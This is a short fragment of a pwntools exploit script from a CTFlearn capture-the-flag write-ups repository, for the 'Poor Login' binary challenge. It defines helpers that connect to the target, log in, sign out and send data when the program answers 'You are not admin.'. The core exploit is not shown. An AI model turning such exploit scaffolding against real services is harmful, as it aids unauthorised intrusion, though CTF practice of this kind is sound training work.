INNER CODE UNIT · Python

__init__

rishitsaiya/CTFlearn-Writeups · Binary/Poor Login/exploit.py:9

    def __init__(self, remote):
        if remote:
            self.pr = pwn.connect(host, port)
        else:
            self.pr = pwn.process(target)

    def login(self, name):
        self.pr.sendlineafter("> ", "1")
        self.pr.sendlineafter("Username: ", name)

    def sign_out(self):
        self.pr.sendlineafter("> ", "2")

    def print_flag(self, flag):
        self.pr.sendlineafter("> ", "3")
        line = self.pr.readline()
        if line.startswith(b"You are not admin."):
            self.pr.sendline(flag)

View source record →